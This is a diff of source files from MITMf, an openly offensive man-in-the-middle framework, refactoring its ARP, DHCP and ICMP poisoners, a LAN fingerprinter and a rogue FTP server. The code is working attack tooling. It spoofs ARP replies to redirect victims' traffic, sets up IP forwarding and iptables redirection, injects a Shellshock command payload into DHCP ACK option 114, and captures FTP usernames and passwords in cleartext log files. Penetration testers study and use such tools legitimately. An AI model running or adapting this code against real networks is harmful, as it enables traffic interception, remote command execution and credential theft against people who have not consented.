elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
|
||||
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
|
||||
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.myip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
try:
|
||||
if packet is not None:
|
||||
send(packet, verbose=self.debug, iface=self.interface)
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
|
||||
pass
|
|
@ -1,40 +1,93 @@
|
|||
import logging
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import threading
|
||||
import logging
|
||||
|
||||
from traceback import print_exc
|
||||
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
|
||||
from core.logger import logger
|
||||
from core.utils import set_ip_forwarding, iptables
|
||||
from time import sleep
|
||||
from core.utils import shutdown
|
||||
from scapy.all import *
|
||||
from scapy.all import ARP, send, sendp, sniff, getmacbyip
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ARPpoisoner", formatter)
|
||||
|
||||
class ARPpoisoner():
|
||||
class ARPpoisoner:
|
||||
name = 'ARP'
|
||||
optname = 'arp'
|
||||
desc = 'Redirect traffic using ARP requests or replies'
|
||||
version = '0.1'
|
||||
|
||||
def __init__(self, gateway, interface, mac, targets):
|
||||
def __init__(self, options):
|
||||
|
||||
try:
|
||||
self.gatewayip = str(IPAddress(gateway))
|
||||
self.gatewayip = str(IPAddress(options.gateway))
|
||||
except AddrFormatError as e:
|
||||
shutdown("[ARPpoisoner] Specified an invalid IP address as gateway")
|
||||
sys.exit("Specified an invalid IP address as gateway")
|
||||
|
||||
self.gatewaymac = getmacbyip(gateway)
|
||||
self.mymac = mac
|
||||
self.targets = self.getTargetRange(targets)
|
||||
self.interface = interface
|
||||
self.arpmode = 'rep'
|
||||
self.gatewaymac = getmacbyip(options.gateway)
|
||||
self.targets = self.get_target_range(options.targets)
|
||||
self.arpmode = options.arpmode
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.interval = 3
|
||||
self.interface = options.interface
|
||||
self.mymac = options.mac
|
||||
|
||||
def getTargetRange(self, targets):
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("Error: Could not resolve gateway's MAC address")
|
||||
|
||||
log.debug("gatewayip => {}".format(self.gatewayip))
|
||||
log.debug("gatewaymac => {}".format(self.gatewaymac))
|
||||
log.debug("targets => {}".format(self.targets))
|
||||
log.debug("mac => {}".format(self.mymac))
|
||||
log.debug("interface => {}".format(self.interface))
|
||||
log.debug("arpmode => {}".format(self.arpmode))
|
||||
log.debug("interval => {}".format(self.interval))
|
||||
|
||||
set_ip_forwarding(1)
|
||||
iptables().flush()
|
||||
iptables().http(options.port)
|
||||
|
||||
if self.arpmode == 'rep':
|
||||
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep)
|
||||
|
||||
elif self.arpmode == 'req':
|
||||
t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req)
|
||||
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if self.targets is None:
|
||||
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def get_target_range(self, targets):
|
||||
if targets is None:
|
||||
return None
|
||||
|
||||
|
||||
try:
|
||||
targetList = []
|
||||
|
||||
for target in targets.split(','):
|
||||
|
||||
if '/' in target:
|
||||
targetList.append(IPNetwork(target))
|
||||
|
||||
|
@ -47,45 +100,60 @@ class ARPpoisoner():
|
|||
targetList.append(IPAddress(target))
|
||||
|
||||
return targetList
|
||||
|
||||
except AddrFormatError as e:
|
||||
shutdown("[ARPpoisoner] Specified an invalid IP address/range/network as target")
|
||||
sys.exit("Specified an invalid IP address/range/network as target")
|
||||
|
||||
def start(self):
|
||||
if self.gatewaymac is None:
|
||||
shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
|
||||
def start_arp_watch(self):
|
||||
sniff(prn=self.arp_watch_callback, filter="arp", store=0)
|
||||
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
|
||||
mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets))
|
||||
mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac))
|
||||
mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface))
|
||||
mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode))
|
||||
mitmf_logger.debug("[ARPpoisoner] interval => {}".format(self.interval))
|
||||
def arp_watch_callback(self, pkt):
|
||||
if self.send is True: #Prevents sending packets on exiting
|
||||
if ARP in pkt and pkt[ARP].op == 1: #who-has only
|
||||
#broadcast mac is 00:00:00:00:00:00
|
||||
packet = None
|
||||
#print str(pkt[ARP].hwsrc) #mac of sender
|
||||
#print str(pkt[ARP].psrc) #ip of sender
|
||||
#print str(pkt[ARP].hwdst) #mac of destination (often broadcst)
|
||||
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
|
||||
|
||||
if self.arpmode == 'rep':
|
||||
t = threading.Thread(name='ARPpoisoner-rep', target=self.poisonARPrep)
|
||||
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
|
||||
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif self.arpmode == 'req':
|
||||
t = threading.Thread(name='ARPpoisoner-req', target=self.poisonARPreq)
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = '00:00:00:00:00:00'
|
||||
packet.pdst = str(pkt[ARP].pdst)
|
||||
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
|
||||
|
||||
def stop(self):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
self.interval = 1
|
||||
|
||||
if self.targets:
|
||||
self.restoreTarget(2)
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.myip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif self.targets is None:
|
||||
self.restoreNet(5)
|
||||
try:
|
||||
if packet is not None:
|
||||
send(packet, verbose=self.debug, iface=self.interface)
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
|
||||
pass
|
||||
|
||||
def poisonARPrep(self):
|
||||
def poison_arp_rep(self):
|
||||
while self.send:
|
||||
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
@ -101,7 +169,7 @@ class ARPpoisoner():
|
|||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
|
||||
|
@ -109,7 +177,7 @@ class ARPpoisoner():
|
|||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
|
@ -118,7 +186,7 @@ class ARPpoisoner():
|
|||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
|
||||
|
@ -126,30 +194,30 @@ class ARPpoisoner():
|
|||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
print_exc()
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def poisonARPreq(self):
|
||||
def poison_arp_req(self):
|
||||
while self.send:
|
||||
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
elif self.targets:
|
||||
|
||||
|
||||
for target in self.targets:
|
||||
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
|
@ -157,16 +225,16 @@ class ARPpoisoner():
|
|||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
|
@ -174,54 +242,68 @@ class ARPpoisoner():
|
|||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def restoreNet(self, count):
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring subnet connection with {} packets".format(count))
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
def options(self, options):
|
||||
options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address')
|
||||
options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]')
|
||||
options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
|
||||
|
||||
def restoreTarget(self, count):
|
||||
for target in self.targets:
|
||||
def on_shutdown(self, options):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
self.interval = 1
|
||||
count = 5
|
||||
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
if self.targets:
|
||||
for target in self.targets:
|
||||
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
|
||||
elif targetmac:
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip))
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
elif self.targets is None:
|
||||
log.info("Restoring subnet connection with {} packets".format(count))
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
set_ip_forwarding(0)
|
||||
iptables().flush()
|
||||
|
|
|
@ -1,12 +1,30 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import threading
|
||||
import binascii
|
||||
import random
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [DHCPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("DHCPpoisoner", formatter)
|
||||
|
||||
class DHCPpoisoner():
|
||||
|
||||
|
@ -55,8 +73,8 @@ class DHCPpoisoner():
|
|||
self.dhcp_dic[xid] = client_ip
|
||||
|
||||
if resp[DHCP].options[0][1] is 1:
|
||||
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
mitmf_logger.info("Sending DHCP OFFER")
|
||||
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
log.info("Sending DHCP OFFER")
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
|
@ -78,7 +96,7 @@ class DHCPpoisoner():
|
|||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
|
||||
if resp[DHCP].options[0][1] is 3:
|
||||
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
|
@ -97,11 +115,11 @@ class DHCPpoisoner():
|
|||
pass
|
||||
|
||||
if self.shellshock:
|
||||
mitmf_logger.info("Sending DHCP ACK with shellshock payload")
|
||||
log.info("Sending DHCP ACK with shellshock payload")
|
||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||
packet[DHCP].options.append("end")
|
||||
else:
|
||||
mitmf_logger.info("Sending DHCP ACK")
|
||||
log.info("Sending DHCP ACK")
|
||||
packet[DHCP].options.append("end")
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
|
@ -22,17 +20,15 @@ import logging
|
|||
import threading
|
||||
import binascii
|
||||
import random
|
||||
#import dns.resolver
|
||||
|
||||
from base64 import b64decode
|
||||
from urllib import unquote
|
||||
from time import sleep
|
||||
#from netfilterqueue import NetfilterQueue
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ICMPpoisoner", formatter)
|
||||
|
||||
class ICMPpoisoner():
|
||||
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
|
@ -7,23 +6,25 @@ import string
|
|||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.fingerprinter.RAPLANMANPackets import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LANfingerprinter", formatter)
|
||||
|
||||
class LANFingerprinter():
|
||||
class LANfingerprinter():
|
||||
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options #For now a quick hack to make argparse's namespace object available to all
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LANFingerprinter] online")
|
||||
log.debug("online")
|
||||
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
|
||||
t = threading.Thread(name="LANFingerprinter", target=server.serve_forever)
|
||||
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 138: {}:".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -70,8 +71,8 @@ def Decode_Name(nbname):
|
|||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
|
@ -201,8 +202,8 @@ def BecomeBackup(data, Client):
|
|||
Role = NBT_NS_Role(data[45:48])
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning("[LANFingerprinter] Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
log.warning(Message1)
|
||||
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
@ -215,8 +216,8 @@ def BecomeBackup(data, Client):
|
|||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
||||
|
||||
|
@ -229,7 +230,7 @@ def ParseDatagramNBTNames(data,Client):
|
|||
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
|
||||
if args.analyze:
|
||||
Message1=RAPThisDomain(Client,Domain)
|
||||
mitmf_logger.warning(Message1)
|
||||
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
log.warning(Message1)
|
||||
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
|
||||
except:
|
||||
pass
|
|
@ -6,20 +6,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
|||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("FTPserver", formatter)
|
||||
|
||||
class FTPServer():
|
||||
class FTPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[FTPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
|
||||
t = threading.Thread(name="FTPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="FTPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e))
|
||||
log.error("Error starting on port {}: {}".format(21, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -45,7 +47,7 @@ class FTP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User))
|
||||
log.info('{} FTP User: {}'.format(self.client_address[0], User))
|
||||
t = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -53,7 +55,7 @@ class FTP(BaseRequestHandler):
|
|||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
|
||||
t = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -62,4 +64,4 @@ class FTP(BaseRequestHandler):
|
|||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[FTPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,145 +0,0 @@
|
|||
##################################################################################
|
||||
#HTTPS Server stuff starts here (Not Used)
|
||||
##################################################################################
|
||||
|
||||
class HTTPSProxy():
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
try:
|
||||
server = SSlSock((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(SSL_On_Off):
|
||||
if SSL_On_Off == "ON":
|
||||
t = threading.Thread(name="SSL", target=self.serve_thread_SSL, args=("0.0.0.0", 443,DoSSL))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
return t
|
||||
if SSL_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class SSlSock(ThreadingMixIn, TCPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||
